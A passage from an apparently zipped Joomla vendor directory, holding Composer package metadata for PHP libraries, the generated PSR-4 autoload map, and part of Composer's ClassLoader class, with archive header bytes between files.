"^4.8.35|^5.4.3|~6.0", "squizlabs/php_codesniffer": "~3.3" }, "time": "2021-08-13T06:59:31+00:00", "default-branch": true, "bin": [ "plessc", "lessify" ], "type": "library", "installation-source": "dist", "autoload": { "classmap": [ "lessc.inc.php" ] }, "scripts": { "test": [ "phpunit", "phpcs -p -s" ], "fix": [ "phpcbf" ] }, "license": [ "MIT", "GPL-3.0" ], "authors": [ { "name": "Leaf Corcoran", "email": "leafot@gmail.com", "homepage": "http://leafo.net" } ], "description": "lessphp is a compiler for LESS written in PHP.", "homepage": "http://leafo.net/lessphp/", "install-path": "../leafo/lessphp" }, { "name": "paragonie/random_compat", "version": "v1.4.3", "version_normalized": "1.4.3.0", "source": { "type": "git", "url": "https://github.com/paragonie/random_compat.git", "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/paragonie/random_compat/zipball/9b3899e3c3ddde89016f576edb8c489708ad64cd", "reference": "9b3899e3c3ddde89016f576edb8c489708ad64cd", "shasum": "" }, "require": { "php": ">=5.2.0" }, "require-dev": { "phpunit/phpunit": "4.*|5.*" }, "suggest": { "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." }, "time": "2018-04-04T21:48:54+00:00", "type": "library", "installation-source": "dist", "autoload": { "files": [ "lib/random.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Paragon Initiative Enterprises", "email": "security@paragonie.com", "homepage": "https://paragonie.com" } ], "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", "keywords": [ "csprng", "pseudorandom", "random" ], "support": { "email": "info@paragonie.com", "issues": "https://github.com/paragonie/random_compat/issues", "source": "https://github.com/paragonie/random_compat" }, "install-path": "../paragonie/random_compat" }, { "name": "paragonie/sodium_compat", "version": "v1.17.1", "version_normalized": "1.17.1.0", "source": { "type": "git", "url": "https://github.com/paragonie/sodium_compat.git", "reference": "ac994053faac18d386328c91c7900f930acadf1e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/paragonie/sodium_compat/zipball/ac994053faac18d386328c91c7900f930acadf1e", "reference": "ac994053faac18d386328c91c7900f930acadf1e", "shasum": "" }, "require": { "paragonie/random_compat": ">=1", "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8" }, "require-dev": { "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9" }, "suggest": { "ext-libsodium": "PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.", "ext-sodium": "PHP >= 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security." }, "time": "2022-03-23T19:32:04+00:00", "type": "library", "installation-source": "dist", "autoload": { "files": [ "autoload.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "ISC" ], "authors": [ { "name": "Paragon Initiative Enterprises", "email": "security@paragonie.com" }, { "name": "Frank Denis", "email": "jedisct1@pureftpd.org" } ], "description": "Pure PHP implementation of libsodium; uses the PHP extension if it exists", "keywords": [ "Authentication", "BLAKE2b", "ChaCha20", "ChaCha20-Poly1305", "Chapoly", "Curve25519", "Ed25519", "EdDSA", "Edwards-curve Digital Signature Algorithm", "Elliptic Curve Diffie-Hellman", "Poly1305", "Pure-PHP cryptography", "RFC 7748", "RFC 8032", "Salpoly", "Salsa20", "X25519", "XChaCha20-Poly1305", "XSalsa20-Poly1305", "Xchacha20", "Xsalsa20", "aead", "cryptography", "ecdh", "elliptic curve", "elliptic curve cryptography", "encryption", "libsodium", "php", "public-key cryptography", "secret-key cryptography", "side-channel resistant" ], "support": { "issues": "https://github.com/paragonie/sodium_compat/issues", "source": "https://github.com/paragonie/sodium_compat/tree/v1.17.1" }, "install-path": "../paragonie/sodium_compat" }, { "name": "phpmailer/phpmailer", "version": "dev-joomla-backports", "version_normalized": "dev-joomla-backports", "source": { "type": "git", "url": "https://github.com/joomla-backports/PHPMailer.git", "reference": "3bac61142e875279af98f16afef696b6bb7a19c9" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/joomla-backports/PHPMailer/zipball/3bac61142e875279af98f16afef696b6bb7a19c9", "reference": "3bac61142e875279af98f16afef696b6bb7a19c9", "shasum": "" }, "require": { "ext-ctype": "*", "php": ">=5.0.0" }, "require-dev": { "doctrine/annotations": "1.2.*", "jms/serializer": "0.16.*", "phpdocumentor/phpdocumentor": "2.*", "phpunit/phpunit": "4.8.*", "symfony/debug": "2.8.*", "symfony/filesystem": "2.8.*", "symfony/translation": "2.8.*", "symfony/yaml": "2.8.*", "zendframework/zend-cache": "2.5.1", "zendframework/zend-config": "2.5.1", "zendframework/zend-eventmanager": "2.5.1", "zendframework/zend-filter": "2.5.1", "zendframework/zend-i18n": "2.5.1", "zendframework/zend-json": "2.5.1", "zendframework/zend-math": "2.5.1", "zendframework/zend-serializer": "2.5.*", "zendframework/zend-servicemanager": "2.5.*", "zendframework/zend-stdlib": "2.5.1" }, "suggest": { "league/oauth2-google": "Needed for Google XOAUTH2 authentication" }, "time": "2021-08-13T06:59:24+00:00", "default-branch": true, "type": "library", "installation-source": "dist", "autoload": { "classmap": [ "class.phpmailer.php", "class.phpmaileroauth.php", "class.phpmaileroauthgoogle.php", "class.smtp.php", "class.pop3.php", "extras/EasyPeasyICS.php", "extras/ntlm_sasl_client.php" ] }, "license": [ "LGPL-2.1" ], "authors": [ { "name": "Marcus Bointon", "email": "phpmailer@synchromedia.co.uk" }, { "name": "Jim Jagielski", "email": "jimjag@gmail.com" }, { "name": "Andy Prevost", "email": "codeworxtech@users.sourceforge.net" }, { "name": "Brent R. Matzelle" } ], "description": "PHPMailer is a full-featured email creation and transfer class for PHP", "install-path": "../phpmailer/phpmailer" }, { "name": "psr/container", "version": "1.0.0", "version_normalized": "1.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/container.git", "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2017-02-14T16:28:37+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Container\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "description": "Common Container Interface (PHP FIG PSR-11)", "homepage": "https://github.com/php-fig/container", "keywords": [ "PSR-11", "container", "container-interface", "container-interop", "psr" ], "support": { "issues": "https://github.com/php-fig/container/issues", "source": "https://github.com/php-fig/container/tree/master" }, "install-path": "../psr/container" }, { "name": "psr/log", "version": "1.1.4", "version_normalized": "1.1.4.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", "reference": "d49695b909c3b7628b6289db5479a1c204601f11" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", "reference": "d49695b909c3b7628b6289db5479a1c204601f11", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2021-05-03T11:20:27+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for logging libraries", "homepage": "https://github.com/php-fig/log", "keywords": [ "log", "psr", "psr-3" ], "support": { "source": "https://github.com/php-fig/log/tree/1.1.4" }, "install-path": "../psr/log" }, { "name": "simplepie/simplepie", "version": "1.3.3", "version_normalized": "1.3.3.0", "source": { "type": "git", "url": "https://github.com/simplepie/simplepie.git", "reference": "9f6fdaa79d9888ae8f1626b4f2e6b5ff7ca29bb3" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/simplepie/simplepie/zipball/9f6fdaa79d9888ae8f1626b4f2e6b5ff7ca29bb3", "reference": "9f6fdaa79d9888ae8f1626b4f2e6b5ff7ca29bb3", "shasum": "" }, "require": { "php": ">=5.2.0" }, "time": "2021-12-24T02:44:57+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-0": { "SimplePie": "library" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Ryan Parman", "homepage": "http://ryanparman.com/", "role": "Creator, alumnus developer" }, { "name": "Geoffrey Sneddon", "homepage": "http://gsnedders.com/", "role": "Alumnus developer" }, { "name": "Ryan McCue", "email": "me@ryanmccue.info", "homepage": "http://ryanmccue.info/", "role": "Developer" } ], "description": "A simple Atom/RSS parsing library for PHP", "homepage": "http://simplepie.org/", "keywords": [ "atom", "feeds", "rss" ], "support": { "issues": "https://github.com/simplepie/simplepie/issues", "source": "https://github.com/simplepie/simplepie/tree/1.3.3" }, "install-path": "../simplepie/simplepie" }, { "name": "symfony/polyfill-ctype", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b", "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b", "shasum": "" }, "require": { "php": ">=5.3.3" }, "suggest": { "ext-ctype": "For best performance" }, "time": "2020-10-23T09:01:57+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" }, "files": [ "bootstrap.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill for ctype functions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "ctype", "polyfill", "portable" ], "support": { "source": "https://github.com/symfony/polyfill-ctype/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-ctype" }, { "name": "symfony/polyfill-php55", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php55.git", "reference": "248a5c9877b126493abb661e4fb47792e418035b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-php55/zipball/248a5c9877b126493abb661e4fb47792e418035b", "reference": "248a5c9877b126493abb661e4fb47792e418035b", "shasum": "" }, "require": { "ircmaxell/password-compat": "~1.0", "php": ">=5.3.3" }, "time": "2020-10-23T09:01:57+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php55\\": "" }, "files": [ "bootstrap.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill backporting some PHP 5.5+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-php55/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-php55" }, { "name": "symfony/polyfill-php56", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php56.git", "reference": "ea19621731cbd973a6702cfedef3419768bf3372" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-php56/zipball/ea19621731cbd973a6702cfedef3419768bf3372", "reference": "ea19621731cbd973a6702cfedef3419768bf3372", "shasum": "" }, "require": { "php": ">=5.3.3", "symfony/polyfill-util": "~1.0" }, "time": "2020-10-23T09:01:57+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php56\\": "" }, "files": [ "bootstrap.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill backporting some PHP 5.6+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-php56/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-php56" }, { "name": "symfony/polyfill-php71", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php71.git", "reference": "08aa78ab724f1264b3d1d32598c0c3e6903b7ab0" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-php71/zipball/08aa78ab724f1264b3d1d32598c0c3e6903b7ab0", "reference": "08aa78ab724f1264b3d1d32598c0c3e6903b7ab0", "shasum": "" }, "require": { "php": ">=5.3.3" }, "time": "2020-10-23T09:01:57+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php71\\": "" }, "files": [ "bootstrap.php" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill backporting some PHP 7.1+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-php71/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-php71" }, { "name": "symfony/polyfill-php73", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php73.git", "reference": "9d920e3218205554171b2503bb3e4a1366824a16" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/9d920e3218205554171b2503bb3e4a1366824a16", "reference": "9d920e3218205554171b2503bb3e4a1366824a16", "shasum": "" }, "require": { "php": ">=5.3.3" }, "time": "2020-10-23T09:01:57+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Php73\\": "" }, "files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-php73/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-php73" }, { "name": "symfony/polyfill-util", "version": "v1.19.0", "version_normalized": "1.19.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-util.git", "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-util/zipball/8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", "reference": "8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a", "shasum": "" }, "require": { "php": ">=5.3.3" }, "time": "2020-10-21T09:57:48+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "1.19-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Polyfill\\Util\\": "" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony utilities for portability of PHP codes", "homepage": "https://symfony.com", "keywords": [ "compat", "compatibility", "polyfill", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-util/tree/v1.19.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-util" }, { "name": "symfony/yaml", "version": "v2.8.52", "version_normalized": "2.8.52.0", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", "reference": "02c1859112aa779d9ab394ae4f3381911d84052b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/yaml/zipball/02c1859112aa779d9ab394ae4f3381911d84052b", "reference": "02c1859112aa779d9ab394ae4f3381911d84052b", "shasum": "" }, "require": { "php": ">=5.3.9", "symfony/polyfill-ctype": "~1.8" }, "time": "2018-11-11T11:18:13+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.8-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Symfony\\Component\\Yaml\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony Yaml Component", "homepage": "https://symfony.com", "support": { "source": "https://github.com/symfony/yaml/tree/v2.8.52" }, "install-path": "../symfony/yaml" }, { "name": "typo3/phar-stream-wrapper", "version": "v2.2.2", "version_normalized": "2.2.2.0", "source": { "type": "git", "url": "https://github.com/TYPO3/phar-stream-wrapper.git", "reference": "cf7728109e0cab28da9ad357c3009e38d371116e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/TYPO3/phar-stream-wrapper/zipball/cf7728109e0cab28da9ad357c3009e38d371116e", "reference": "cf7728109e0cab28da9ad357c3009e38d371116e", "shasum": "" }, "require": { "brumann/polyfill-unserialize": "^1.0 || ^2.0", "ext-json": "*", "php": "^5.3.3 || ^7.0" }, "require-dev": { "ext-xdebug": "*", "phpunit/phpunit": "^4.8.36" }, "suggest": { "ext-fileinfo": "For PHP builtin file type guessing, otherwise uses internal processing" }, "time": "2021-09-20T19:19:38+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "TYPO3\\PharStreamWrapper\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "Interceptors for PHP's native phar:// stream handling", "homepage": "https://typo3.org/", "keywords": [ "phar", "php", "security", "stream-wrapper" ], "support": { "issues": "https://github.com/TYPO3/phar-stream-wrapper/issues", "source": "https://github.com/TYPO3/phar-stream-wrapper/tree/v2.2.2" }, "install-path": "../typo3/phar-stream-wrapper" } ], "dev": false, "dev-package-names": [] } PKÜ�\�F�PP!vendor/composer/autoload_psr4.phpnu�[���<?php // autoload_psr4.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname(dirname($vendorDir)); return array( 'TYPO3\\PharStreamWrapper\\' => array($vendorDir . '/typo3/phar-stream-wrapper/src'), 'Symfony\\Polyfill\\Util\\' => array($vendorDir . '/symfony/polyfill-util'), 'Symfony\\Polyfill\\Php73\\' => array($vendorDir . '/symfony/polyfill-php73'), 'Symfony\\Polyfill\\Php71\\' => array($vendorDir . '/symfony/polyfill-php71'), 'Symfony\\Polyfill\\Php56\\' => array($vendorDir . '/symfony/polyfill-php56'), 'Symfony\\Polyfill\\Php55\\' => array($vendorDir . '/symfony/polyfill-php55'), 'Symfony\\Polyfill\\Ctype\\' => array($vendorDir . '/symfony/polyfill-ctype'), 'Symfony\\Component\\Yaml\\' => array($vendorDir . '/symfony/yaml'), 'ReCaptcha\\' => array($vendorDir . '/google/recaptcha/src/ReCaptcha'), 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), 'Psr\\Container\\' => array($vendorDir . '/psr/container/src'), 'Joomla\\Utilities\\' => array($vendorDir . '/joomla/utilities/src'), 'Joomla\\Uri\\' => array($vendorDir . '/joomla/uri/src'), 'Joomla\\String\\' => array($vendorDir . '/joomla/string/src'), 'Joomla\\Registry\\' => array($vendorDir . '/joomla/registry/src'), 'Joomla\\Ldap\\' => array($vendorDir . '/joomla/ldap/src'), 'Joomla\\Input\\' => array($vendorDir . '/joomla/input/src'), 'Joomla\\Image\\' => array($vendorDir . '/joomla/image/src'), 'Joomla\\Filter\\' => array($vendorDir . '/joomla/filter/src'), 'Joomla\\Filesystem\\' => array($vendorDir . '/joomla/filesystem/src'), 'Joomla\\Event\\' => array($vendorDir . '/joomla/event/src'), 'Joomla\\Data\\Tests\\' => array($vendorDir . '/joomla/data/Tests'), 'Joomla\\Data\\' => array($vendorDir . '/joomla/data/src'), 'Joomla\\DI\\' => array($vendorDir . '/joomla/di/src'), 'Joomla\\Archive\\' => array($vendorDir . '/joomla/archive/src'), 'Joomla\\Application\\' => array($vendorDir . '/joomla/application/src'), 'Brumann\\Polyfill\\' => array($vendorDir . '/brumann/polyfill-unserialize/src'), ); PKÜ�\�5Ky�>�>vendor/composer/ClassLoader.phpnu�[���<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier <fabien@symfony.com> * @author Jordi Boggiano <j.boggiano@seld.be> * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var ?string */ private $vendorDir; // PSR-4 /** * @var array[] * @psalm-var array<string, array<string, int>> */ private $prefixLengthsPsr4 = array(); /** * @var array[] * @psalm-var array<string, array<int, string>> */ private $prefixDirsPsr4 = array(); /** * @var array[] * @psalm-var array<string, string> */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * @var array[] * @psalm-var array<string, array<string, string[]>> */ private $prefixesPsr0 = array(); /** * @var array[] * @psalm-var array<string, string> */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var string[] * @psalm-var array<string, string> */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var bool[] * @psalm-var array<string, bool> */ private $missingClasses = array(); /** @var ?string */ private $apcuPrefix; /** * @var self[] */ private static $registeredLoaders = array(); /** * @param ?string $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; } /** * @return string[] */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array[] * @psalm-return array<string, array<int, string>> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return array[] * @psalm-return array<string, string> */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return array[] * @psalm-return array<string, string> */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return string[] Array of classname => path * @psalm-return array<string, string> */ public function getClassMap() { return $this->classMap; } /** * @param string[] $classMap Class to filename map * @psalm-param array<string, string> $classMap * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an 